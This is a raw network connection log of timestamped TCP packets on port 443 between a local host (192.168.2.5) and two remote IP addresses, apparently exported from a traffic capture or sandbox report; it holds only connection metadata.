Sep 27, 2024 08:18:40.115787029 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.115808964 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.118633986 CEST	443	49737	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.120954037 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.120973110 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.122453928 CEST	49737	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.122463942 CEST	443	49737	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.123688936 CEST	443	49737	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.123761892 CEST	49737	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.124809027 CEST	49737	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.124907970 CEST	443	49737	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.124989033 CEST	49737	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.133744001 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.133760929 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.133780956 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.133790016 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.133793116 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.133816004 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.133826017 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.133857012 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.133867979 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.134433031 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.134459972 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.134478092 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.134500980 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.134520054 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.134603977 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.134617090 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.134649992 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.134651899 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.134671926 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.134784937 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.140252113 CEST	49738	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.140286922 CEST	443	49738	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.140558958 CEST	49738	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.141105890 CEST	49738	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.141120911 CEST	443	49738	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.143325090 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.143335104 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.143352032 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.143393993 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.143418074 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.143430948 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.143491983 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.143512011 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.144462109 CEST	49739	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.144514084 CEST	443	49739	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.144570112 CEST	49739	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.145294905 CEST	49739	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.145312071 CEST	443	49739	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.157932043 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.157963037 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.157984972 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.158031940 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.158054113 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.158063889 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.158081055 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.158097982 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.165378094 CEST	49737	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.165385962 CEST	443	49737	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.165415049 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.181123018 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.181143045 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.181173086 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.181191921 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.181200981 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.181246042 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.181256056 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.181276083 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.181299925 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.181303978 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.181329012 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.181345940 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.183813095 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.183839083 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.183881044 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.183885098 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.183921099 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.183939934 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.183962107 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.183994055 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.183998108 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.187232018 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.187252998 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.187297106 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.187346935 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.187346935 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.187398911 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.187503099 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.190016985 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.190066099 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.190109968 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.190133095 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.190155983 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.190234900 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.190949917 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.190973043 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.191057920 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.191055059 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.191122055 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.191123009 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.191155910 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.191214085 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.192919016 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.192960024 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.193006039 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.193021059 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.193051100 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.193097115 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.201448917 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.204802990 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.204819918 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.204844952 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.204854012 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.204899073 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.204909086 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.204946041 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.204977989 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.206579924 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.206585884 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.206605911 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.206649065 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.206657887 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.206691027 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.206702948 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.206753969 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.210192919 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.210206032 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.213103056 CEST	49737	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.228710890 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.258913994 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.258975029 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.259011030 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.259047031 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.259073019 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.259080887 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.259093046 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.259124041 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.259145021 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.259156942 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.259232044 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.259279966 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.265178919 CEST	443	49737	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.265254974 CEST	443	49737	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.265383959 CEST	49737	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.267268896 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.267301083 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.267347097 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.267350912 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.267379045 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.267416954 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.267421961 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.268898010 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.268913031 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.268922091 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.268939018 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.268954992 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.269004107 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.269010067 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.269095898 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.269208908 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.272559881 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.272579908 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.274144888 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.274210930 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.274224997 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.274255037 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.274296999 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.274296999 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.275032043 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.275053024 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.275116920 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.275130033 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.275257111 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.276614904 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.276644945 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.276691914 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.276707888 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.276741982 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.276752949 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.278625011 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.278672934 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.278733015 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.278757095 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.278784990 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.278947115 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.280141115 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.280189037 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.280241966 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.280255079 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.280284882 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.280304909 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.281019926 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.281060934 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.281105995 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.281117916 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.281152010 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.281169891 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.281179905 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.281908989 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.281984091 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.281985998 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.282013893 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.282053947 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.282053947 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.282088041 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.282234907 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.282305956 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.285979033 CEST	49737	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.285995960 CEST	443	49737	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.288350105 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.288384914 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.297414064 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.297461987 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.309511900 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.309551954 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.309607983 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.309632063 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.309649944 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.309695959 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.361762047 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.361824989 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.361851931 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.361884117 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.361911058 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.362037897 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.362647057 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.362699032 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.362746000 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.362756968 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.362771034 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.362809896 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.363266945 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.363317013 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.363358974 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.363370895 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.363415003 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.363415003 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.364228010 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.364272118 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.364319086 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.364330053 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.364370108 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.364370108 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.365014076 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.365060091 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.365103006 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.365112066 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.365142107 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.365205050 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.365252972 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.365291119 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.365341902 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.365349054 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.365370035 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.365396976 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.396907091 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.396930933 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.397008896 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.397032022 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.397196054 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.397334099 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.448904037 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.448937893 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.449033976 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.449033976 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.449068069 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.449119091 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.449290991 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.449307919 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.449357033 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.449364901 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.449394941 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.449456930 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.449701071 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.449717999 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.449820995 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.449830055 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.450083017 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.450242996 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.450259924 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.450319052 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.450326920 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.450340033 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.450397015 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.454045057 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.454066992 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.454179049 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.454179049 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.454202890 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.454334974 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.454646111 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.454688072 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.454734087 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.454744101 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.454754114 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.454783916 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.454863071 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.454904079 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.454958916 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.454958916 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.454966068 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.455096006 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.484534979 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.484605074 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.484620094 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.484648943 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.484698057 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.484698057 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.507749081 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.536487103 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.536537886 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.536638975 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.536678076 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.536691904 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.536725044 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.536776066 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.536793947 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.536798954 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.536859989 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.537185907 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.537242889 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.537267923 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.537272930 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.537307978 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.537319899 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.537370920 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.537415028 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.537437916 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.537442923 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.537487030 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.537487030 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.537616968 CEST	443	49730	152.199.21.175	192.168.2.5
